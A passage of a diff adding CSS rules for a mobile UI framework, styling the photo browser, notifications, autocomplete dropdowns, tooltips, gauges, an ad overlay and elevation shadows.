-webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.photo-browser-slide.photo-browser-transitioning { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.photo-browser-slide span.swiper-zoom-container { + display: none; +} +.photo-browser-slide img { + width: auto; + height: auto; + max-width: 100%; + max-height: 100%; + display: none; +} +.photo-browser-slide.swiper-slide-active span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-next span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.photo-browser-slide.swiper-slide-active img, +.photo-browser-slide.swiper-slide-next img, +.photo-browser-slide.swiper-slide-prev img { + display: inline; +} +.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader { + display: block; +} +.photo-browser-slide iframe { + width: 100%; + height: 100%; +} +.photo-browser-slide .preloader { + display: none; + position: absolute; + width: 42px; + height: 42px; + margin-left: -21px; + margin-top: -21px; + left: 50%; + top: 50%; +} +.photo-browser-dark .photo-browser-swiper-container, +.photo-browser-page-dark .photo-browser-swiper-container { + background: #000; +} +@-webkit-keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@-webkit-keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +@keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +.ios .toolbar ~ .photo-browser-captions { + bottom: 44px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.ios .view.with-photo-browser-page-exposed .navbar { + opacity: 0; +} +.ios .photo-browser-page .navbar, +.ios .view.with-photo-browser-page .navbar, +.ios .photo-browser-page .toolbar, +.ios .view.with-photo-browser-page .toolbar { + background: rgba(247, 247, 248, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.ios .photo-browser-dark .navbar, +.ios .photo-browser-page-dark .navbar, +.ios .view.with-photo-browser-page-dark .navbar, +.ios .photo-browser-dark .toolbar, +.ios .photo-browser-page-dark .toolbar, +.ios .view.with-photo-browser-page-dark .toolbar { + background: rgba(30, 30, 30, 0.8); + color: #fff; +} +.ios .photo-browser-dark .navbar:before, +.ios .photo-browser-page-dark .navbar:before, +.ios .view.with-photo-browser-page-dark .navbar:before, +.ios .photo-browser-dark .toolbar:before, +.ios .photo-browser-page-dark .toolbar:before, +.ios .view.with-photo-browser-page-dark .toolbar:before { + display: none !important; +} +.ios .photo-browser-dark .navbar:after, +.ios .photo-browser-page-dark .navbar:after, +.ios .view.with-photo-browser-page-dark .navbar:after, +.ios .photo-browser-dark .toolbar:after, +.ios .photo-browser-page-dark .toolbar:after, +.ios .view.with-photo-browser-page-dark .toolbar:after { + display: none !important; +} +.ios .photo-browser-dark .navbar a, +.ios .photo-browser-page-dark .navbar a, +.ios .view.with-photo-browser-page-dark .navbar a, +.ios .photo-browser-dark .toolbar a, +.ios .photo-browser-page-dark .toolbar a, +.ios .view.with-photo-browser-page-dark .toolbar a { + color: #fff; +} +.ios.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +.md .toolbar ~ .photo-browser-captions { + bottom: 48px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 48px, 0); + transform: translate3d(0, 48px, 0); +} +.md .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.md .photo-browser-page .navbar, +.md .photo-browser-page .toolbar { + background: rgba(33, 150, 243, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.md .photo-browser-dark .navbar, +.md .photo-browser-page-dark .navbar, +.md .photo-browser-dark .toolbar, +.md .photo-browser-page-dark .toolbar { + background: rgba(30, 30, 30, 0.8) !important; + color: #fff; +} +.md .photo-browser-dark .navbar a, +.md .photo-browser-page-dark .navbar a, +.md .photo-browser-dark .toolbar a, +.md .photo-browser-page-dark .toolbar a { + color: #fff; +} +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(244, 67, 54, 0.95); +} +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(76, 175, 80, 0.95); +} +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(33, 150, 243, 0.95); +} +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(233, 30, 99, 0.95); +} +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 235, 59, 0.95); +} +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 152, 0, 0.95); +} +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(158, 158, 158, 0.95); +} +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 255, 255, 0.95); +} +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(0, 0, 0, 0.95); +} +.md.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +/* === Notifications === */ +.notification { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 20000; + font-size: 14px; + margin: 0; + border: none; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + direction: ltr; +} +.notification-icon { + font-size: 0; +} +.notification-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.notification-close-button { + margin-left: auto; + cursor: pointer; +} +html.with-statusbar.device-ios .notification, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification { + margin-top: 20px; +} +html.with-statusbar.device-android .notification, +html.with-statusbar.md:not(.device-ios):not(.device-android) .notification { + margin-top: 24px; +} +html.with-statusbar.device-iphone-x .notification { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +.ios .notification { + left: 8px; + top: 8px; + width: calc(100% - 16px); + background: rgba(250, 250, 250, 0.95); + border-radius: 12px; + -webkit-box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + box-shadow: 0px 5px 25px -10px rgba(0, 0, 0, 0.7); + padding: 10px; + color: #000; + max-width: 568px; + -webkit-transition-duration: 450ms; + transition-duration: 450ms; + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .ios .notification { + background: rgba(255, 255, 255, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +@media (min-width: 584px) { + .ios .notification { + left: 50%; + width: 568px; + margin-left: -284px; + } +} +.ios .notification.modal-in { + -webkit-transform: translate3d(0%, 0%, 0); + transform: translate3d(0%, 0%, 0); + opacity: 1; +} +.ios .notification.modal-out { + -webkit-transform: translate3d(0%, -200%, 0); + transform: translate3d(0%, -200%, 0); +} +.ios .notification-icon { + width: 20px; + height: 20px; + line-height: 20px; + margin-right: 8px; +} +.ios .notification-icon i { + width: 20px; + height: 20px; + font-size: 20px; +} +.ios .notification-title { + font-size: 13px; + text-transform: uppercase; + letter-spacing: 0.02em; +} +.ios .notification-subtitle { + font-size: 15px; + font-weight: 600; + line-height: 1.35; +} +.ios .notification-text { + font-size: 15px; + line-height: 1.2; +} +.ios .notification-header + .notification-content { + margin-top: 10px; +} +.ios .notification-title-right-text { + color: #444a51; + font-size: 13px; + margin-right: 6px; + margin-left: auto; +} +.ios .notification-title-right-text + .notification-close-button { + margin-left: 10px; +} +.ios .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E"); + width: 20px; + height: 20px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + opacity: 0.3; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .notification-close-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.1; +} +.ios .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.md .notification { + left: 0; + top: 0; + width: 100%; + background: #fff; + border-radius: 0px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + padding: 16px; + color: #000; + max-width: 568px; +} +@media (min-width: 568px) { + .md .notification { + left: 50%; + margin-left: -284px; + } +} +.md .notification.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: notification-md-in 400ms ease-out; + animation: notification-md-in 400ms ease-out; +} +.md .notification.modal-in.notification-transitioning { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .notification.modal-out { + -webkit-animation: none; + animation: none; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-timing-function: ease-in; + transition-timing-function: ease-in; + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); +} +.md .notification-icon { + width: 16px; + height: 16px; + margin-right: 8px; + line-height: 16px; +} +.md .notification-icon i { + width: 16px; + height: 16px; + font-size: 16px; +} +.md .notification-title { + font-size: 12px; + line-height: 1; + color: #2196f3; +} +.md .notification-subtitle { + font-size: 14px; + line-height: 1.35; + color: #212121; +} +.md .notification-subtitle + .notification-text { + margin-top: 2px; +} +.md .notification-text { + font-size: 14px; + line-height: 1.35; + color: #757575; +} +.md .notification-header + .notification-content { + margin-top: 6px; +} +.md .notification-title-right-text { + font-size: 12px; + color: #757575; + margin-left: 4px; +} +.md .notification-title-right-text:before { + content: ''; + width: 3px; + height: 3px; + border-radius: 50%; + display: inline-block; + vertical-align: middle; + margin-right: 4px; + background: #757575; +} +.md .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + width: 16px; + height: 16px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .notification-close-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .notification-close-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .notification-close-button:before { + width: 48px; + height: 48px; + left: 50%; + top: 50%; + margin-left: -24px; + margin-top: -24px; +} +.md .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 48px; + height: 48px; + margin-left: -22px; + margin-top: -22px; +} +@-webkit-keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +@keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +/* === Autocomplete === */ +.autocomplete-page .autocomplete-found { + display: block; +} +.autocomplete-page .autocomplete-not-found { + display: none; +} +.autocomplete-page .autocomplete-values { + display: block; +} +.autocomplete-page .list ul:empty { + display: none; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible) { + visibility: hidden; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible), +.autocomplete-preloader:not(.autocomplete-preloader-visible) * { + -webkit-animation: none; + animation: none; +} +.autocomplete-dropdown { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + z-index: 500; + width: 100%; + right: 0; +} +.autocomplete-dropdown .autocomplete-dropdown-inner { + position: relative; + overflow: auto; + -webkit-overflow-scrolling: touch; + height: 100%; + z-index: 1; +} +.autocomplete-dropdown .autocomplete-preloader { + display: none; + position: absolute; + bottom: 100%; + width: 20px; + height: 20px; +} +.autocomplete-dropdown .autocomplete-preloader-visible { + display: block; +} +.autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #a9a9a9; +} +.autocomplete-dropdown .list { + margin: 0; +} +.autocomplete-dropdown .list ul { + background: none !important; +} +.autocomplete-dropdown .list ul:before { + display: none !important; +} +.autocomplete-dropdown .list ul:after { + display: none !important; +} +.list .item-content-dropdown-expanded .item-title.item-label { + width: 0; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + overflow: hidden; +} +.list .item-content-dropdown-expanded .item-title.item-label + .item-input-wrap { + margin-right: 0; +} +.list .item-content-dropdown-expanded .item-input-wrap { + width: 100%; +} +.ios .autocomplete-dropdown { + -webkit-box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); + box-shadow: 0px 3px 3px rgba(0, 0, 0, 0.2); +} +.ios .autocomplete-dropdown .autocomplete-preloader { + left: 15px; + margin-bottom: 12px; +} +.ios .autocomplete-dropdown .list b { + font-weight: 600; +} +.ios .searchbar-input-wrap .autocomplete-dropdown { + margin-top: -32px; + top: 100%; + background: #e8e8ea; + z-index: 20; + border-radius: 8px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-right: 28px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner { + padding-top: 32px; +} +.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +.ios .theme-dark .autocomplete-dropdown { + background-color: #1c1c1d; +} +.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown { + background-color: #171717; +} +.md .autocomplete-page .navbar .autocomplete-preloader { + margin-left: 16px; +} +.md .autocomplete-dropdown { + -webkit-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); + box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); +} +.md .autocomplete-dropdown .autocomplete-preloader { + left: 16px; + margin-bottom: 8px; +} +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap, +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .autocomplete-dropdown .list { + color: rgba(0, 0, 0, 0.54); +} +.md .autocomplete-dropdown .list b { + font-weight: normal; + color: #212121; +} +.md .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-right: 73px; +} +.md .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +/* === Tooltip === */ +.tooltip { + position: absolute; + z-index: 20000; + background: rgba(0, 0, 0, 0.87); + border-radius: 4px; + padding: 8px 16px; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: 1.2; + opacity: 0; + -webkit-transform: scale(0.9); + transform: scale(0.9); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: opacity, transform; + transition-property: opacity, transform, -webkit-transform; + z-index: 99000; + font-weight: 500; +} +.tooltip.tooltip-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.tooltip.tooltip-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.device-desktop .tooltip { + font-size: 12px; + padding: 6px 8px; +} +/* === Gauge === */ +.gauge { + position: relative; + text-align: center; + margin-left: auto; + margin-right: auto; + display: inline-block; +} +.gauge-svg, +.gauge svg { + max-width: 100%; + height: auto; +} +.gauge-svg circle, +.gauge svg circle, +.gauge-svg path, +.gauge svg path { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +iframe#viAd { + z-index: 12900 !important; + background: #000 !important; +} +.vi-overlay { + background: rgba(0, 0, 0, 0.85); + z-index: 13100; + position: absolute; + left: 0%; + top: 0%; + width: 100%; + height: 100%; + border-radius: 3px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + text-align: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .vi-overlay { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.vi-overlay .vi-overlay-text { + text-align: center; + color: #fff; + max-width: 80%; +} +.vi-overlay .vi-overlay-text + .vi-overlay-play-button { + margin-top: 15px; +} +.vi-overlay .vi-overlay-play-button { + width: 44px; + height: 44px; + border-radius: 50%; + border: 2px solid #fff; + position: relative; +} +.vi-overlay .vi-overlay-play-button.active-state { + opacity: 0.55; +} +.vi-overlay .vi-overlay-play-button:before { + content: ''; + width: 0; + height: 0; + border-top: 8px solid transparent; + border-bottom: 8px solid transparent; + border-left: 14px solid #fff; + position: absolute; + left: 50%; + top: 50%; + margin-left: 2px; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +/* === Elevation === */ +.elevation-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.elevation-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.elevation-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; 